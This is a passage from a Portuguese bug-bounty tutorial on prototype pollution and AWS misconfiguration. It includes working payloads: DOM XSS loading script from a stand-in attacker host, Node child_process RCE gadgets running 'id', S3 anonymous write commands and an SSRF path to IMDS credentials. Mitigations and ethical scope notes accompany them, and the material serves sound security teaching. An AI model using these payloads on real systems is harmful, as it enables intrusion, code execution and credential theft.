Client-side (CSPP)	No navegador: parsing de URL/hash, `JSON.parse` de `postMessage`, merges no front	DOM XSS
Server-side (SSPP)	No Node.js: merge de JSON do corpo, configs	DoS, bypass de lógica/ auth, RCE
Via `__proto__`	Vetor direto	—
Via `constructor.prototype`	Quando `__proto__` é filtrado	bypass de sanitização

Recon — onde procurar

Prototype pollution vive onde a aplicação **constrói objetos a partir de entrada estruturada**:

- **SPAs com parsing de URL/hash**: frameworks e libs que leem `location.search` / `location.hash` e montam config.
- **Libs de `merge` / `extend` / `clone` profundo**: `lodash.merge` / `defaultsDeep`, `jQuery.extend(true, ...)`, `deep-extend`, `node.extend`, `Object.assign` aninhado feito à mão.
- **`postMessage`** que faz `JSON.parse` da `event.data` e mescla.
- **APIs Node** que recebem JSON e fazem merge em opções/config (veja Segurança de APIs).

Como caçar nos arquivos JavaScript (igual ao recon de IDOR — leia os `.js`):

```
# coleta as URLs históricas e filtra os arquivos .js para ler
# (gau = junta URLs conhecidas do alvo; httpx = confirma quais respondem)
echo https://alvo.com | gau | grep '\.js$' | httpx -mc 200
# nos arquivos, procure as assinaturas perigosas:
#   merge( , deepExtend( , defaultsDeep( , $.extend(true , JSON.parse( , location.hash
```

> **gau / httpx**: ferramentas de recon — `gau` lista URLs já conhecidas de um domínio; `httpx` checa rapidamente quais estão vivas.

Detecção passo a passo

Client-side — o teste de 1 linha

A detecção é **não-destrutiva** e direta: injete uma propriedade-canário e cheque se ela apareceu em `Object.prototype`.

```
https://alvo.com/?__proto__[teste]=poluido
```

Depois, no **console do navegador** (DevTools → Console):

```
Object.prototype.teste;   // "poluido"  -> poluição confirmada
({}).teste;               // "poluido"  -> confirma a herança
```

Se `__proto__` foi filtrado, tente as **notações alternativas** (verificadas na PortSwigger Academy):

```
https://alvo.com/?__proto__.teste=poluido           # notação com ponto
https://alvo.com/?constructor[prototype][teste]=x   # via constructor.prototype
https://alvo.com/?constructor.prototype.teste=x
```

E o bypass clássico de sanitização **não-recursiva** (quando o filtro remove `__proto__` só uma vez):

```
?__pro__proto__to__[teste]=x     # vira "__proto__" depois que o filtro tira o miolo
```

Server-side — detecção sem ver o código

No servidor você não tem console. As técnicas da PortSwigger exploram **efeitos colaterais observáveis** na resposta:

1. **Reflexão de propriedade** — injete e veja se volta:

```
{"__proto__": {"foo": "bar"}}
```

Se a resposta passar a refletir `"foo":"bar"`, poluiu.

1. **`json spaces`** (a mais confiável, não depende de reflexão) — o Express usa a config `json spaces` pra indentar respostas JSON. Poluindo-a, **toda** resposta JSON muda a indentação:

```
{"__proto__": {"json spaces": 10}}
```

Se as respostas JSON seguintes vierem com 10 espaços de indentação, está poluído.

1. `status` **override** — injetar um status HTTP incomum e disparar um erro depois; se a resposta de erro voltar com aquele status, confirma. O módulo `http-errors` só aceita status na faixa **400–599**, então escolha um código obscuro dessa faixa (ex.: `510`) que dificilmente apareceria por outro motivo:

```
{"__proto__": {"status": 510}}
```

1. `content-type` **override (charset UTF-7)** — poluir o charset padrão das respostas faz o servidor decodificar a saída como UTF-7; se uma string como `+AGYAbwBv-` voltar decodificada para `foo`, confirma:

```
{"__proto__": {"content-type": "application/json; charset=utf-7"}}
```

1. `exposedHeaders` **(CORS)** — se a app usa o módulo `cors`, poluir esse array faz seus valores aparecerem no header `Access-Control-Expose-Headers` da resposta (requer o módulo `cors` instalado):

```
{"__proto__": {"exposedHeaders": ["foo"]}}
```

> **A poluição em server-side é PERSISTENTE no processo.** Você está alterando o `Object.prototype` do processo Node que atende **todos** os usuários. Em alvo de produção, isso pode quebrar o serviço pra outras pessoas (DoS acidental). Teste com canários inócuos, prefira ambientes de staging e **sempre dentro do escopo autorizado**.

Exploração passo a passo

Client-side → DOM XSS (via gadget)

Poluir é só metade. Você precisa de um **gadget**: um código que **lê** uma propriedade poluível e a leva a um sink de DOM XSS. Exemplo realista de gadget vulnerável:

```
// gadget VULNERÁVEL: lê config.transport_url do "config" (que herda do prototype
poluído)
let config = {};
// ... a app preenche algumas chaves, mas NÃO define transport_url ...
const script = document.createElement("script");
script.src = config.transport_url;   // <- se transport_url estiver poluído, carrega
script do atacante
document.body.appendChild(script);
```

Como `config` não definiu `transport_url`, ele **herda** o valor poluído. Payload (verificado na PortSwigger Academy):

```
https://alvo.com/?__proto__[transport_url]=//atacante.exemplo/x.js
```

Variações com sinks diretos:

```
?__proto__[transport_url]=data:,alert(document.domain)//
?__proto__[hitCallback]=alert(document.domain)        # gadget que faz eval/chamada do valor
```

Achar o gadget na mão: no DevTools, use `Object.defineProperty` pra "armar uma armadilha" que loga quem lê a propriedade poluída:

```
// pausa/loga quando QUALQUER código ler a propriedade — revela o gadget
Object.defineProperty(Object.prototype, "transport_url", {
  get() { console.trace("LEU transport_url"); return "//atacante.exemplo/x.js"; }
});
```

Server-side → DoS e bypass de lógica

- **DoS**: poluir propriedades que o framework usa internamente pode lançar exceções em todo request e derrubar o processo. (Detalhes de DoS de aplicação em Denial of Service.)
- **Bypass de lógica/auth**: se a app checa uma flag sem garantir que ela exista no próprio objeto (ex.: `if (user.isAdmin)`), poluir `Object.prototype.isAdmin = true` faz **todo** objeto-usuário "virar admin" por herança. É um caminho indireto pra Broken Access Control.

Server-side → RCE (o avançado: gadgets de `child_process`)

O gadget mais potente no Node são as **opções de `child_process`**. Quando a app cria um subprocesso (`spawn` / `exec` / `fork`) **sem passar todas as opções explicitamente**, o objeto de opções herda chaves poluídas. Payloads verificados na PortSwigger Academy:

Via `NODE_OPTIONS` + `shell` (prova de conceito com SSRF/out-of-band pra confirmar execução). O `NODE_OPTIONS` **bloqueia `--eval`**, mas aceita `--inspect=host:port` — ao iniciar o subprocesso, o Node tenta abrir o debugger nesse host, gerando uma interação out-of-band (DNS/HTTP no Collaborator) que confirma a execução sem precisar do filesystem:

```
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=ID-DO-COLLABORATOR.oastify.com"}}
```

A partir do **Node 19**, o `--import` (com `data:` URL) também passa pelo `NODE_OPTIONS` e executa JS arbitrário sem tocar no disco (pesquisa PortSwigger "sem o filesystem"):

```
{"__proto__": {"NODE_OPTIONS": "--import=\"data:text/
javascript,import('child_process').then(c=>c.execSync('id'))\""}}
```

Via `execArgv` do `fork()` — injeta argumentos de execução do Node:

```
{"__proto__": {"execArgv": ["--eval=require('child_process').execSync('id')"]}}
```

Via `shell` + `input` (abusa de um binário interativo, ex.: editor presente no servidor):

```
{"__proto__": {"shell": "vim", "input": ":! id\n"}}
```

A mecânica geral está em RCE / Command Injection. A diferença aqui é que você não injeta no comando — você **envenena as opções** que o Node usa pra montar o processo.

Caso real-fictício: CSPP → DOM XSS em SPA

> Cenário **fictício, baseado em padrões reais** (anonimizado).

Você testa `app.exemplo.com`, uma SPA. Nos arquivos `.js`, encontra uma lib que monta config a partir do hash da URL e, mais adiante, um trecho que faz `el.innerHTML = config.welcomeHTML`. Dois ingredientes na mão: source (hash) + sink (`innerHTML`).

Passo 1 — Confirmar a source. Acesso com canário e checo no console:

```
https://app.exemplo.com/#__proto__[canario]=1
```

```
Object.prototype.canario;   // "1" -> poluível pelo hash
```

Passo 2 — Apontar pro gadget. `welcomeHTML` não é definido pela app naquele fluxo, então herda do prototype:

```
https://app.exemplo.com/#__proto__[welcomeHTML]=<img src=x
onerror=alert(document.domain)>
```

Passo 3 — Resultado. A página renderiza, `config.welcomeHTML` resolve pro meu HTML herdado, `innerHTML` injeta a tag e o `onerror` dispara. **DOM XSS confirmado**, sem nenhum input clássico envolvido.

O que a tela mostraria: um `alert(document.domain)` na origem `app.exemplo.com`; no DevTools, `Object.prototype.welcomeHTML` mostrando o payload; no Network, nenhuma request de formulário — só a navegação com o hash.

Passo 4 — Report. Título `[Prototype Pollution] DOM XSS via __proto__ no hash da URL → execução de JS na origem`. Demonstre a cadeia source → gadget → sink e o impacto (sequestro de sessão). Veja Como escrever um report que paga.

Defesa em camadas

A correção real é **cortar a primitiva** (impedir escrita no prototype) e/ou **remover o gadget**. Em camadas:

1. Congele o prototype mestre (mata a primitiva no processo):

```
Object.freeze(Object.prototype);   // tentativas de escrever em Object.prototype param
de funcionar
```

> Detalhe importante: depois do `freeze`, a escrita **falha silenciosamente em modo não-estrito**, mas **lança `TypeError` em modo estrito** (`"use strict"`, módulos ES e corpos de `class` são sempre estritos). Em qualquer caso a poluição é bloqueada — só esteja ciente de que pode virar exceção. Congele cedo, na inicialização, antes de qualquer `merge`.

2. Use estruturas que não herdam de `Object.prototype`:

```
const mapa = new Map();                 // Map não tem o problema de chaves mágicas
const obj = Object.create(null);        // objeto "null-prototype": sem cadeia, sem
__proto__ mágico
obj.__proto__;                          // undefined — não há prototype pra poluir
```

3. Rejeite/filtre as chaves perigosas antes de mesclar:

```
const PROIBIDAS = new Set(["__proto__", "constructor", "prototype"]);
function mergeSeguro(alvo, fonte) {
  for (const chave of Object.keys(fonte)) {
    if (PROIBIDAS.has(chave)) continue;            // <- a checagem que faltava
    // ... merge normal das demais chaves ...
  }
  return alvo;
}
```

4. `JSON.parse` com reviver pra descartar `__proto__` já na desserialização:

```
const seguro = JSON.parse(corpo, (chave, valor) => chave === "__proto__" ? undefined :
valor);
```

5. Use libs já corrigidas e mantidas. Ex.: lodash **≥ 4.17.12** corrigiu o CVE-2019-10744 — poluição em `defaultsDeep` via `constructor.prototype`, classificada como **Crítica: CVSS v3.1 9.1** (`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` ; o NVD ainda não publicou score CVSS v4.0).

Antes disso, `merge` / `mergeWith` / `defaultsDeep` já haviam sido afetados pelo CVE-2018-3721 (via `__proto__`, corrigido em 4.17.5) e pelo CVE-2018-16487 (correção incompleta do anterior, via `constructor.prototype`, corrigido em 4.17.11). Mantenha dependências atualizadas — veja Security Misconfiguration & CVE Hunting.

6. No Node, passe opções de `child_process` explicitamente (não deixe herdar) e valide entrada com **schema** (defina os campos esperados; tudo fora dele é rejeitado).

7. Endureça o runtime do Node com a flag `--disable-proto`, que desativa o acessor mágico `Object.prototype.__proto__` em todo o processo (`--disable-proto=delete` o remove; `=throw` lança erro ao usá-lo) — fecha o vetor mais comum sem depender de cada `merge` filtrar a chave:

```
node --disable-proto=delete app.js
```

> **O que NÃO basta:** filtrar só `__proto__` e esquecer `constructor` / `prototype`; filtrar uma vez só (vulnerável ao `__pro__proto__to__`); confiar que "é só client-side" — gadgets server-side existem e levam a RCE.

Ferramentas + labs legais

- **DOM Invader** (embutido no navegador do Burp Suite): detecta automaticamente sources de prototype pollution na URL e em `postMessage`, e ainda **escaneia gadgets** e gera PoC de XSS. É o jeito mais rápido de achar CSPP — pesquisa de Gareth Heyes/PortSwigger.
- **PPScan** / extensões de "prototype pollution scanner": varrem sources client-side automaticamente enquanto você navega.
- **Server-Side Prototype Pollution Scanner** (extensão do Burp BApp Store): testa as técnicas server-side (`json spaces`, status etc.).
- **Labs autorizados:** PortSwigger Web Security Academy — Prototype pollution (client-side e server-side, com labs guiados — a melhor fonte gratuita).

Checklist do caçador

- [ ] Identifiquei **sources**: parsing de URL/hash, `postMessage` + `JSON.parse`, merges no front, corpo JSON no back.
- [ ] Testei o canário `?__proto__[teste]=x` e confirmei em `Object.prototype.teste` (console).
- [ ] Tentei as alternativas: `constructor[prototype]`, notação com ponto, e o bypass `__pro__proto__to__`.
- [ ] Server-side: testei `json spaces`, `status` (faixa 400–599), `content-type`/charset, `exposedHeaders` e reflexão de propriedade (de forma não-destrutiva, no escopo).
- [ ] **Cacei o gadget** (DOM Invader / `Object.defineProperty` armadilha) — sem gadget, o impacto é baixo.

- [ ] Client-side: liguei a propriedade poluída a um sink (`innerHTML` , `script.src` , `eval`).
- [ ] Server-side: testei gadgets de `child_process` (`shell` / `NODE_OPTIONS` / `execArgv`) com confirmação out-of-band.
- [ ] Documentei a cadeia **source → gadget → sink** no report.

Pegadinhas e o que NÃO funciona

- **Poluir sem gadget ≠ vulnerabilidade explorável.** Muitos triagistas pedem o impacto. Sempre busque a cadeia completa.
- `JSON.parse` **sozinho não polui** — ele cria a chave literal `"__proto__"` ; o estrago vem do `merge` / `clone` posterior.
- **Filtrar só** `__proto__` deixa `constructor.prototype` aberto. Bloqueie os três nomes.
- **Sanitização não-recursiva** cai pro `__pro__proto__to__` .
- **Em server-side, lembre da persistência:** sua poluição afeta outros usuários do mesmo processo — cuidado pra não causar DoS acidental.

O que você precisa lembrar

- Todo objeto JS herda de `Object.prototype` ; poluí-lo via `__proto__` ou `constructor.prototype` contamina **todos** os objetos.
- Prototype pollution é uma **primitiva**: o impacto (DOM XSS, DoS, bypass, RCE) vem do **gadget**.
- Detecção client-side é o canário `?__proto__[teste]=x` + checagem em `Object.prototype` ; server-side usa efeitos como `json spaces` .
- Defesa: `Object.freeze(Object.prototype)` , `Object.create(null)` / `Map` , rejeitar `__proto__` / `constructor` / `prototype` , `node --disable-proto` , libs atualizadas.

> **Dica de ouro:** poluir é fácil, **o ouro está no gadget**. Quando confirmar a poluição, pare de comemorar e vá caçar quem **lê** aquela propriedade — é o gadget que transforma uma curiosidade em DOM XSS ou RCE. Sem ele, você tem metade de um bug.

Nota ética

Prototype pollution server-side **altera o processo inteiro** e pode derrubar o serviço para outros usuários — teste apenas em alvos autorizados, com canários inócuos e, de preferência, em staging. Tudo aqui é para bug bounty (dentro do escopo), pentests contratados e labs legais. Use para proteger, reportar com responsabilidade e ensinar.

Referências

- PortSwigger — Prototype pollution

- PortSwigger — Client-side prototype pollution
- PortSwigger — Server-side prototype pollution
- PortSwigger Blog — Finding client-side prototype pollution with DOM Invader (Gareth Heyes)
- PortSwigger Research — Server-side prototype pollution: Black-box detection without the DoS
- PortSwigger Research — Exploiting prototype pollution in Node without the filesystem
- Olivier Arteau — Prototype pollution attacks in NodeJS applications (NorthSec 2018)
- OWASP — Prototype Pollution Prevention Cheat Sheet
- GitHub Advisory — Prototype Pollution in lodash (CVE-2019-10744)

Cloud & AWS Misconfiguration: S3, IAM, metadata e chaves vazadas

A chave que abre o cofre da empresa inteira

Você está fuçando um arquivo JavaScript de `app.exemplo.com` e, no meio do código de build, aparece isso:

```
AKIAIOSFODNN7EXAMPLE   ...   wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
```

Vinte caracteres começando com `AKIA`, seguidos de uma string de 40. Quem nunca viu sabe que é só "mais um texto". Quem mexe com segurança reconhece na hora: **é uma chave de acesso da AWS** — o login programático que um sistema usa pra conversar com a nuvem da empresa. Dependendo das permissões dela, essa string pode listar bancos de dados, ler buckets de backup, criar máquinas... ou, no pior dos mundos, dar **controle total da conta AWS**.

Cloud misconfiguration é uma das fronteiras mais lucrativas do bug bounty moderno porque **quase toda empresa hoje roda na nuvem** (AWS, Google Cloud/GCP, Azure) e a configuração dela é complexa, distribuída e fácil de errar. Este capítulo foca em **AWS** (o provedor mais comum), com paralelos pra GCP e Azure, e cobre as cinco frentes que mais aparecem: **buckets S3**, **chaves/segredos vazados**, **metadata via SSRF**, **takeover de recursos cloud** e uma visão geral de **escalada de privilégio no IAM**.

> **O aviso mais importante do capítulo, logo no começo:** na nuvem, a fronteira entre "provar a falha" e "cometer crime / quebrar o escopo" é fininha. Confirmar que uma chave é válida é OK. **Sair lendo dados, baixando bancos ou criando recursos NÃO é** — vira acesso não autorizado a infraestrutura de terceiros. A gente volta nisso, mas já vá com esse filtro ligado.

O que é "cloud misconfiguration"?

> **Cloud (computação em nuvem):** em vez de ter servidores físicos, a empresa aluga recursos (armazenamento, máquinas, banco) de um provedor como AWS/GCP/Azure, configurando tudo por painel/API.

Cloud misconfiguration é quando algum desses recursos foi configurado de um jeito inseguro: um armazenamento que ficou público, uma permissão larga demais, uma credencial que vazou. Não é um bug no código da AWS — a AWS funciona como projetado; **quem configurou errou**.

> **Analogia:** a nuvem é um prédio de cofres alugados. A AWS te dá o cofre trancado e seguro por padrão. Misconfiguration é o cliente que deixou a porta do cofre encostada (bucket público), colou a senha num post-it no saguão (chave vazada no JS) ou deu cópia da chave-mestra pro estagiário (IAM permissivo demais). O prédio é seguro; o uso que se fez dele, não.

Isso cai dentro do OWASP A05:2021 — Security Misconfiguration (e tem ligação direta com Security Misconfiguration & CVE Hunting). Os termos-chave que você vai encontrar o tempo todo:

Termo	O que é (1 linha)
S3	Serviço de armazenamento de arquivos da AWS, organizado em "buckets" (pastas/baldes).
IAM	*Identity and Access Management*: quem (usuários/roles) pode fazer o quê na conta AWS.
IMDS / metadata	Serviço interno que entrega dados e **credenciais temporárias** pra uma máquina EC2.
EC2	Máquina virtual (servidor) que você aluga na AWS.
STS	*Security Token Service*: emite credenciais **temporárias** (prefixo `ASIA`).

Por que isso importa (e quanto paga)

O impacto varia de "informativo" a "comprometimento total da empresa":

- **Bucket S3 legível público** → vazamento de backups, documentos internos, PII (dado pessoal: nome, CPF, e-mail) de clientes em massa.
- **Bucket S3 gravável público** → o atacante substitui arquivos servidos pelo site (defacement, XSS armazenado, distribuição de malware).
- **Chave AKIA válida** → acesso programático à conta; o impacto depende das permissões da chave (de "lista um bucket" a "admin da conta").
- **Credenciais via metadata (SSRF→IMDS)** → token temporário da role da máquina; muitas vezes leva a escalada.
- **Takeover de recurso cloud (S3/CloudFront)** → servir conteúdo malicioso sob um subdomínio legítimo (veja Subdomain Takeover).

Na prática, falhas dessa família costumam pagar de **algumas centenas de reais** (um bucket listável com dado pouco sensível, ou um takeover classificado como informativo) até **dezenas de milhares** (chave com acesso a dados de produção, SSRF→credenciais→pivot interno). O valor segue a regra de sempre: **impacto = sensibilidade do dado × escala × o que dá pra fazer com aquilo**.

Pra falar a língua do triador, leve um **CVSS** junto — o **v3.1** (ainda o mais usado pelos programas) e o **v4.0** ao lado (que separa o impacto no **sistema vulnerável** `VC/VI/VA` do

sistema subsequente `SC/SI/SA` — útil aqui pra distinguir "vazou só o bucket" de "a credencial roubada compromete a conta toda"). Âncoras dos cenários mais comuns:

Cenário	CVSS v3.1	CVSS v4.0
Bucket S3 legível público (vaza dados)	**7.5 — Alto** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`	**8.7 — Alto** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
Bucket S3 gravável público (sobrescreve arquivos)	**9.1 — Crítico** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`	**9.3 — Crítico** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
Chave AKIA válida exposta (confidencialidade da credencial)	**7.5 — Alto** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`	**8.7 — Alto** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
SSRF→IMDS rouba credencial IAM (base do SSRF autenticado)	**8.5 — Alto** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`	**8.3 — Alto** `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`

> O score-**base** trava a maioria desses cenários em **Alto**; é o **chaining** (a credencial roubada vira *takeover* da conta AWS, o bucket gravável vira XSS armazenado) que empurra o risco real pro topo do **Crítico**. Reporte a base honesta e descreva o impacto encadeado em texto — **não infle o número**. Decimais conferidos na calculadora FIRST v3.1 / v4.0 (a escala do v4.0 não é linear; sempre rode o vetor). Ajuste `PR` (`N` se o recurso for **público/não autenticado**) conforme o alvo.
>
> **Escopo cloud é traiçoeiro.** Muitos programas dizem explicitamente: "ativos AWS são *nossos*, mas a conta AWS em si está fora de escopo — só reporte a *exposição*". Ou seja: **achar e confirmar** a chave entra; **usar a chave pra navegar na conta** sai. Leia as regras antes.

Como funciona por trás (o modelo mental da AWS)

Três peças que você precisa entender pra não se perder:

1. Tudo é uma API. O painel bonitinho da AWS é só uma casca; por baixo, tudo é uma chamada HTTP assinada. A ferramenta `aws` (a **AWS CLI**) faz essas chamadas pra você.

> **AWS CLI:** a ferramenta de linha de comando oficial da AWS (`aws <serviço> <ação>`). É como você fala com a nuvem fora do painel. Saiba mais.

2. Credenciais. Pra chamar a API autenticado, você precisa de uma **Access Key** (par de duas strings):

Prefixo	Tipo	Estrutura
AKIA…	Longo prazo (de um usuário IAM) — não expira até alguém revogar	`AccessKeyId` (20 chars) + `SecretAccessKey` (40 chars)
ASIA…	**Temporário** (emitido pelo STS) — expira em minutos/horas	`AccessKeyId` + `SecretAccessKey` + `SessionToken`

É por isso que `AKIA…` num arquivo público é tão perigoso: é uma senha permanente. Já `ASIA…` é uma senha que se autodestrói — ainda útil, mas com prazo. (Confirmado na AWS — Managing access keys e no Hacking the Cloud — Using Stolen IAM Credentials.)

3. Roles e o IMDS. Uma máquina EC2 raramente carrega uma chave `AKIA` no disco. Em vez disso, ela "veste" uma **role** (papel) e pega credenciais **temporárias** (`ASIA…`) de um serviço interno chamado **IMDS** (*Instance Metadata Service*), acessível só de dentro da máquina, no IP mágico `169.254.169.254` . Guarde esse IP — ele é o coração da seção de SSRF.

Tipos e variações da superfície cloud

1. **S3 público** — bucket listável, legível e/ou **gravável** por qualquer um.
2. **Chave/segredo vazado** — `AKIA…` ou outro segredo em JS, repositório Git, APK ou resposta de API.
3. **Metadata via SSRF** — uma falha de SSRF na aplicação que alcança o `169.254.169.254` e rouba as credenciais da role.
4. **Takeover de recurso cloud** — DNS apontando pra um bucket S3 / distribuição CloudFront que não existe mais.
5. **Outros** — snapshots EBS públicos, funções Lambda / API Gateway expostas, **Cognito** com atributo auto-editável, e **escalada de privilégio no IAM**.

1. S3 buckets: achar, enumerar e testar permissões

> **Bucket S3:** um "balde" de armazenamento na AWS, identificado por um nome global único. Acessível por URL tipo `https://NOME.s3.amazonaws.com` ou `https://s3.amazonaws.com/NOME` .

1.1 Achar buckets

Buckets ligados ao alvo costumam aparecer com nomes previsíveis: `alvo` , `alvo-assets` , `alvo-backups` , `alvo-prod` , `alvo-staging` , `alvo-dev` , `alvo-uploads` . Onde olhar:

- **No HTML/JS e nas respostas da app** — URLs `*.s3.amazonaws.com` , `s3.<região>.amazonaws.com/<bucket>` ou `*.cloudfront.net` apontando pra origem S3. (Use as ferramentas de recon do capítulo Recon & Discovery: `gau` , `katana` , `httpx` .)

- **Google dorks:**

```
site:s3.amazonaws.com alvo
site:amazonaws.com inurl:alvo
```

- **Geração + força bruta de nomes** com ferramentas específicas (`s3scanner` , abaixo).

1.2 As três permissões que importam

Quando você acha um bucket, teste — **na ordem do menos pro mais grave**:

Permissão	O que significa	Gravidade
List	Dá pra listar os arquivos do bucket	Média (revela o que existe)
Read	Dá pra **baixar** os arquivos	Alta (vaza dados)
Write	Dá pra **subir/sobrescrever** arquivos	Crítica (defacement, malware, XSS)

1.3 Testando com a AWS CLI

A flag mágica aqui é `--no-sign-request` : ela diz pra CLI **não assinar** a requisição, ou seja, fazer o pedido como um anônimo (sem credencial). É exatamente assim que você testa o que está exposto ao mundo. (Confirmado no Hacking the Cloud / S3Scanner docs.)

> **`--no-sign-request`:** faz a AWS CLI pedir como usuário anônimo (sem credencial). Se funcionar, qualquer pessoa na internet consegue o mesmo.

```
# LIST — o bucket deixa listar o conteúdo anonimamente?
aws s3 ls s3://alvo-backups --no-sign-request
# Se listar arquivos => List público (em vez de "AccessDenied")
```

```
# READ — dá pra baixar um arquivo específico?
aws s3 cp s3://alvo-backups/listing.txt ./prova.txt --no-sign-request
# (no bug bounty: baixe só 1 arquivo INÓCUO de prova, ex.: um index.html — nunca os
dados reais)
```

```
# WRITE — dá pra subir um arquivo? (o achado mais grave)
echo "poc-autorizada" > poc.txt
aws s3 cp poc.txt s3://alvo-uploads/poc-$(date +%s).txt --no-sign-request
# Se subir => Write público. Apague depois e documente.
```

> **No teste de Write, suba um arquivo neutro e único** (ex.: `poc-<timestamp>.txt` com um texto inofensivo), tire o print, e **apague**. Nunca sobrescreva arquivos legítimos do alvo — isso é destruir/adulterar dado, não "provar bug".

1.4 ACL mal configurada (a causa raiz)

> **ACL (Access Control List):** lista de permissões granulares de um bucket/objeto S3 ("quem pode ler/escrever").

O erro clássico é dar permissão pro **grupo** `AllUsers` (literalmente "qualquer pessoa na internet") ou pro `AuthenticatedUsers` (qualquer pessoa com **uma conta AWS** — note: **não** "seus usuários", e sim *qualquer um dos milhões de clientes da AWS*, o que efetivamente é público). Dá pra ler a ACL anonimamente quando o bucket permite:

```
aws s3api get-bucket-acl --bucket alvo-backups --no-sign-request
```

Se aparecer um *Grantee* do tipo `Group` com a URI `http://acs.amazonaws.com/groups/global/AllUsers` e permissão `READ` / `WRITE` / `FULL_CONTROL`, você confirmou a misconfiguration na fonte.

1.5 Ferramenta: s3scanner

s3scanner varre buckets (e equivalentes em outros provedores) e classifica as permissões automaticamente — sem precisar testar uma a uma na mão.

```
# Checar um bucket específico (só permissões, comportamento padrão)
s3scanner -bucket alvo-backups

# Vários nomes de uma lista
s3scanner -bucket-file possiveis-buckets.txt

# -enumerate lista os OBJETOS dos buckets abertos (use com cautela e dentro do escopo)
s3scanner -bucket alvo-backups -enumerate
```

> **Sintaxe:** a versão atual do s3scanner (reescrita em Go) usa flags de traço único (`-bucket`, `-bucket-file`, `-enumerate`, `-provider`). A versão antiga em Python usava `scan` / `dump` como subcomandos — se você encontrar exemplos com `scan --bucket`, são daquele tempo.
>
> **Paralelo GCP/Azure:** o equivalente do S3 é o **Google Cloud Storage** (`storage.googleapis.com/<bucket>`) e o **Azure Blob Storage**

> (`<conta>.blob.core.windows.net/<container>`). A lógica de "container público" é a mesma; o `s3scanner` suporta vários provedores.

2. Chaves e segredos vazados

2.1 Onde as chaves aparecem

- **Arquivos JS** servidos pelo front (variáveis de build esquecidas).
- **Repositórios Git** públicos/expostos (`.git/` acessível, histórico de commits).
- **Apps mobile (APK/IPA)** — descompile com `jadx` e vasculhe strings (veja Mobile Bug Bounty).
- **Respostas de API**, mensagens de erro, arquivos de config esquecidos (`.env`, `taskDefinition.json`, `wp-config.php.save`).

2.2 Achando com trufflehog

> **trufflehog:** ferramenta que vasculha código/repos/arquivos por segredos (chaves, tokens) e, pra muitos tipos, **verifica se ainda estão ativos**.

```
# Varrer um repositório Git inteiro (incluindo histórico)
trufflehog git https://github.com/exemplo/repo --only-verified

# Varrer um diretório local (ex.: APK descompilado, dump de JS)
trufflehog filesystem ./app-descompilado --only-verified
```

A flag `--only-verified` faz o trufflehog **só mostrar segredos confirmados como vivos** — economiza horas filtrando falso-positivo.

2.3 Validando uma chave AWS (o jeito certo e ético)

Achou um par `AKIA…` + secret. **Confirmar identidade ≠ acessar dados.** A maneira correta e mínima de provar que a chave é válida é a chamada `sts:GetCallerIdentity` — ela **não toca em nenhum dado**, só responde "quem é o dono dessa credencial". Detalhe que ajuda: segundo a doc da AWS, **nenhuma permissão é exigida** pra essa chamada (funciona até se a identidade tiver um *deny* explícito), então ela sempre devolve quem é o dono de uma chave válida sem você precisar adivinhar permissões. (Confirmado também no Hacking the Cloud e na referência KeyHacks.)

```
# Configure as credenciais SÓ no ambiente (não suje seu ~/.aws com chave de terceiro)
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1
```

```
# A ÚNICA chamada que você precisa pra provar que vale:
aws sts get-caller-identity
```

Resposta de uma chave válida:

```
{
    "UserId": "AIDAEXAMPLEEXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/build-deploy"
}
```

O `Arn` já conta uma história: `user/build-deploy` é um usuário de pipeline — provavelmente com permissões largas. **Pare aqui.** Você tem tudo pra um report: a chave é válida, pertence à conta `123456789012` e ao usuário `build-deploy`.

> `get-caller-identity` **é a linha que você NÃO cruza pra dentro.** Qualquer comando além disso (`s3 ls`, `iam list-users`, etc.) usando a chave de terceiro é acesso não autorizado e gera log no **CloudTrail** (a auditoria da AWS) com o seu IP. Não vale a pena, não é ético, e não acrescenta nada ao report.
>
> **KeyHacks:** repositório que mostra como **validar** dezenas de tipos de chave/token vazados (não só AWS — Slack, Stripe, GitHub, etc.). streaak/keyhacks.

2.4 Nem todo "segredo" é segredo

Cuidado pra não reportar lixo: muita coisa que *parece* chave é **pública por design** e não vale nada — `pk_live_…` do Stripe (publishable key), `VUE_APP_*` / `REACT_APP_*` (variáveis de build expostas de propósito), sitekey do reCAPTCHA, client IDs de SDK. O que importa é distinguir isso de um segredo **realmente sensível** (`AKIA…`, `sk_live_…`, *personal access token*, JWT de serviço). Na dúvida, valide com o KeyHacks antes de escrever o report — senão vira duplicado ou "informativo".

3. Metadata e IMDS via SSRF (a joia da coroa)

Aqui é onde uma falha "comum" de aplicação vira comprometimento de infra. Se você ainda não leu, o pré-requisito é SSRF: fazendo o servidor bater na porta de dentro.

> **SSRF (Server-Side Request Forgery):** você engana o servidor pra ele fazer uma requisição que **você** escolhe — inclusive pra endereços internos que você não alcançaria de fora.

3.1 Por que o `169.254.169.254` é ouro

Toda EC2 tem acesso, de dentro, a um serviço web em `http://169.254.169.254/` — o **IMDS**. Ele entrega dados da máquina e, crucialmente, as **credenciais temporárias** (`ASIA…`) da role que a máquina veste. Se você tem um SSRF que alcança esse IP, você consegue **as credenciais da aplicação**.

3.2 IMDSv1 — o jeito antigo e vulnerável

> **IMDSv1:** versão original do metadata, que responde a um **GET simples**, sem autenticação nenhuma. É justamente o que faz SSRF ser tão devastador nela.

O caminho até as credenciais:

```
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
```

